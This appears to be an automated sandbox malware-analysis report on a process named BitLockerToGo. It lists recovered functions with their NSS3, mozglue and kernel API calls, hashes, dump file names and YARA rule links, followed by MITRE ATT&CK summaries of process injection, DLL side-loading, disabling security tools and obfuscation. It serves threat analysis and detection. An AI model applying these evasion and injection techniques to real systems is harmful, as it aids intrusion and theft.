API String ID: 2047719359-0
Opcode ID: 0459e11445f53309a9dd8441a62b319ad9197b255813094dedc9b56f03674036
Instruction ID: 2eb07a06f263d60da31e16658d84af6e392f2d96c790354e6629fd20e02fcc7b
Opcode Fuzzy Hash: 0459e11445f53309a9dd8441a62b319ad9197b255813094dedc9b56f03674036
Instruction Fuzzy Hash: B1119331A04B55C7D7328F29CA08766B3B1FF9631CF145B5AD84953A01FB71A1D5C7A0

Function 6C938DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C938DE7
EnterCriticalSection.KERNEL32 ref: 6C938DFC
PR_Unlock.NSS3 ref: 6C938E2D
PR_SetError.NSS3 ref: 6C938E49

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 6457ad549302eea11625bfd87f6c25313b76c222ec872f4614975cb54fcd8605
Instruction ID: 17c63aaef85d11d7450f399fe2994da5deeb37f359f62a0fde47d29a058a1428
Opcode Fuzzy Hash: 6457ad549302eea11625bfd87f6c25313b76c222ec872f4614975cb54fcd8605
Instruction Fuzzy Hash: 5A11BC71604A219BC704BF38C4881AABBF4FF05308F01882ADC88D7B00E734E895CBD2

Function 6C9BAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C9A5F17,?,?,?,?,?,?,?,?,6C9AAAD4), ref: 6C9BAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C9A5F17,?,?,?,?,?,?,?,?,6C9AAAD4), ref: 6C9BACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C9AAAD4), ref: 6C9BACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C9AAAD4), ref: 6C9BACDB

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: c4cad14657aafc5d7afdab64710582e43a4b8e1a043d51b03e29b79ec74d345d
Instruction ID: d124255ec461c6c0ec77bd2650810c1eed4b2c0e53f49eddb430b57c63b56ffc
Opcode Fuzzy Hash: c4cad14657aafc5d7afdab64710582e43a4b8e1a043d51b03e29b79ec74d345d
Instruction Fuzzy Hash: D7015EB1701B06ABEB50DF2AD908767B7E8BF10669B104839D85AD3E00EB35F055CB91

Function 6C833DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C7FF20E,?), ref: 6C833DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C7FF20E,00000000,?), ref: 6C833DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C833E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C833E0E

Part of subcall function 6C82CC00: GetCurrentProcess.KERNEL32(?,?,6C7F31A7), ref: 6C82CC0D
Part of subcall function 6C82CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C7F31A7), ref: 6C82CC16

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: dd04e901801cc4f88a2e51ad1a539ae2a66ee8a8b56103e9383e67c44f338d87
Instruction ID: 7d71e5e8d97d4ca82b300baf92fa1cb18083b6b9d35e0fafd66b53273b4902b1
Opcode Fuzzy Hash: dd04e901801cc4f88a2e51ad1a539ae2a66ee8a8b56103e9383e67c44f338d87
Instruction Fuzzy Hash: 80F05EB15002186BEB11AB54DC89DBF376DDB46628F040430FD0857741E635BD5586F6

Function 6C9BAC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6C9A5D40,00000000,?,?,6C996AC6,6C9A639C), ref: 6C9BAC2D

Part of subcall function 6C95ADC0: TlsGetValue.KERNEL32(?,6C93CDBB,?,6C93D079,00000000,00000001), ref: 6C95AE10
Part of subcall function 6C95ADC0: EnterCriticalSection.KERNEL32(?,?,6C93CDBB,?,6C93D079,00000000,00000001), ref: 6C95AE24
Part of subcall function 6C95ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C93D079,00000000,00000001), ref: 6C95AE5A
Part of subcall function 6C95ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C93CDBB,?,6C93D079,00000000,00000001), ref: 6C95AE6F
Part of subcall function 6C95ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C93CDBB,?,6C93D079,00000000,00000001), ref: 6C95AE7F
Part of subcall function 6C95ADC0: TlsGetValue.KERNEL32(?,6C93CDBB,?,6C93D079,00000000,00000001), ref: 6C95AEB1
Part of subcall function 6C95ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C93CDBB,?,6C93D079,00000000,00000001), ref: 6C95AEC9

PK11_FreeSymKey.NSS3(?,6C9A5D40,00000000,?,?,6C996AC6,6C9A639C), ref: 6C9BAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6C9A5D40,00000000,?,?,6C996AC6,6C9A639C), ref: 6C9BAC59
free.MOZGLUE(8CB6FF01,6C996AC6,6C9A639C,?,?,?,?,?,?,?,?,?,6C9A5D40,00000000,?,6C9AAAD4), ref: 6C9BAC62

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: ed245467a681458e2c1271d463b380a412d6a26f6d68c54e3e4b074071a4b926
Instruction ID: dae07adf9ae3e86d560eb49eb4ea2f25195cef39595c0219317bfa548ba2a7b0
Opcode Fuzzy Hash: ed245467a681458e2c1271d463b380a412d6a26f6d68c54e3e4b074071a4b926
Instruction Fuzzy Hash: 840178B5600200AFDB00DF19E8C0B5677ACAB24B1CF188068E8099F706EB34F808CBA1

Function 6CA2CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CA2CC61
free.MOZGLUE ref: 6CA2CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CA2CC80
free.MOZGLUE(?), ref: 6CA2CC87

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 0cadb8d137edc138627b23894278a13bbcfa7e55355c54ef4e71ea9baa096ee1
Instruction ID: 04fdf01d2802e5dde9ad98a29d64a9454083caade1026387f44ae77baf58050c
Opcode Fuzzy Hash: 0cadb8d137edc138627b23894278a13bbcfa7e55355c54ef4e71ea9baa096ee1
Instruction Fuzzy Hash: FDE030767017099BCE10EFA9DC4489677ACEE492743154525E691C3700D235F905CBA1

Function 6C8485B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C8485D3

Part of subcall function 6C80CA10: malloc.MOZGLUE(?), ref: 6C80CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C848725

Strings

map/set<T> too long, xrefs: 6C848720

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: c615b4786a7bd9001a74d24f5336abf916d431f52e4aa10f78160fecb3a04056
Instruction ID: 99d121f31d37d4441b249fc4e98bc6687ed44deda016a42f33a3147eeb070ebf
Opcode Fuzzy Hash: c615b4786a7bd9001a74d24f5336abf916d431f52e4aa10f78160fecb3a04056
Instruction Fuzzy Hash: A35187746006498FC751CF18C298A5ABBF1BF4A318F18C99AD8599BB52C335EC85CFD2

Function 6C7FBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C7FBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C7FBE8F

Strings

0, xrefs: 6C7FBE5B

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: e5b7ff1c8faa6ac38313a719e4095a4e49699537b1a101dffa96fff35975d36f
Instruction ID: 2aee2c4f44d19d23d8c24850e375ff80d7a574b6adac69a4f9a4139283e6595f
Opcode Fuzzy Hash: e5b7ff1c8faa6ac38313a719e4095a4e49699537b1a101dffa96fff35975d36f
Instruction Fuzzy Hash: DE41A271509745CFC711DF38C5C199BB7E8AF8A348F008A2DF9A557711D730E9468B92

Function 6C964D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C964D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C964DE6

Strings

%d.%d, xrefs: 6C964DDE

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: ea178631ccb6f80727a186b926ca97557c5390cd9694fd6d6da4f6612618e0b4
Instruction ID: 54f5eadc74ca9e78427d8f920a7db6d9908a8e07922b4945b3f8c3be8dd46777
Opcode Fuzzy Hash: ea178631ccb6f80727a186b926ca97557c5390cd9694fd6d6da4f6612618e0b4
Instruction Fuzzy Hash: B331C5B2D042196AFB149BA6DC11BFF776CEF50308F050469ED159BB81EB30E945CBA1

Function 6C833CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C833D19
mozalloc_abort.MOZGLUE(?), ref: 6C833D6C

Strings

d, xrefs: 6C833D58

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 8b6df80922d8fc8b5b5648ae8a9718b92c46cfb70e43a7c43fbcb9865747b652
Instruction ID: d6029fc4c51c537bd092cf79f012cee555e426e1c45c40dd8b87832f1992eacb
Opcode Fuzzy Hash: 8b6df80922d8fc8b5b5648ae8a9718b92c46cfb70e43a7c43fbcb9865747b652
Instruction Fuzzy Hash: A8113B31E0465897DB229F9DC9144FDB375EF86219B44B629DC4897601FB30A9C5C3D0

Function 6C856DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C856E22
__Init_thread_footer.LIBCMT ref: 6C856E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C856E1D

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 1d7b9e42db77952f365a57a0f3f681a22dd00ec1e23c81c728e50bdc4e4c331d
Instruction ID: 61f86f98b0d57dbcac57c5e3724d7671752db124057f32f6348e1bfc3cc31fc7
Opcode Fuzzy Hash: 1d7b9e42db77952f365a57a0f3f681a22dd00ec1e23c81c728e50bdc4e4c331d
Instruction Fuzzy Hash: 18F0F03430A2408ADA328A69CE5CA8937725B2222CF540975C40846BA1F720A926CAF2

Function 6C84B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C84B2C9,?,?,?,6C84B127,?,?,?,?,?,?,?,?,?,6C84AE52), ref: 6C84B628

Part of subcall function 6C8490E0: free.MOZGLUE(?,00000000,?,?,6C84DEDB), ref: 6C8490FF
Part of subcall function 6C8490E0: free.MOZGLUE(?,00000000,?,?,6C84DEDB), ref: 6C849108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C84B2C9,?,?,?,6C84B127,?,?,?,?,?,?,?,?,?,6C84AE52), ref: 6C84B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C84B2C9,?,?,?,6C84B127,?,?,?,?,?,?,?,?,?,6C84AE52), ref: 6C84B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C84B127,?,?,?,?,?,?,?,?), ref: 6C84B74D

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 99920fe503abb6f6a2bda47e5caa03bbdeda4aba0d995207804f6c48a7ba31ca
Instruction ID: 509043c577dd1c1ef027b24938f864cfd9d9aa2ef42f9d7f001bcd450e7f4871
Opcode Fuzzy Hash: 99920fe503abb6f6a2bda47e5caa03bbdeda4aba0d995207804f6c48a7ba31ca
Instruction Fuzzy Hash: 3951C071A05A1A8FDB24CF58CA8476EB7B5FF46314F45C92DC85AAB700D731AC04CBA1

Function 6C85B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C800A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C85B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C800A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C85B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C800A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C85B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,6C800A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C85B67F

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 0299614b0e40c6d730d07288a264dea87203f340a74ac0b4f443ced39e28afdb
Instruction ID: 2271ad6c32e394e595b992c4e70683b1fd6175c9753e2bf7fa2c1fe68fcea287
Opcode Fuzzy Hash: 0299614b0e40c6d730d07288a264dea87203f340a74ac0b4f443ced39e28afdb
Instruction Fuzzy Hash: D2310A719002158FDB60CF58C94466EB7F6FF80304F568929C8069B341EB71ED25CBE1

Function 6C970DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C970DF5
TlsGetValue.KERNEL32 ref: 6C970E2D
TlsGetValue.KERNEL32 ref: 6C970E58
TlsGetValue.KERNEL32 ref: 6C970E84

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: e3bc9d2cceda57083d1fcff23ecd596287ae36fb6307b6ee97c2040888d061b1
Instruction ID: 4a8520431e11487eb29c950eb49da23a5a0e93faf59d2b10bf190d8967c50c95
Opcode Fuzzy Hash: e3bc9d2cceda57083d1fcff23ecd596287ae36fb6307b6ee97c2040888d061b1
Instruction Fuzzy Hash: 0E310AB0606391CBDB246F38C9442797BB8BF16708F01A62DD888C7A11EB35C486CBA1

Function 6C82F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C82F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C82F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C82F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C82F668

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 94bc3fdb4faecc4cc1f8036c6a03a1a38c4a4daf4f98934563aeb81217c66512
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 33316171A002249FCB24CF1DCEC4E9B77B5EB94354B148938FA498BB05D635E984CB90

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

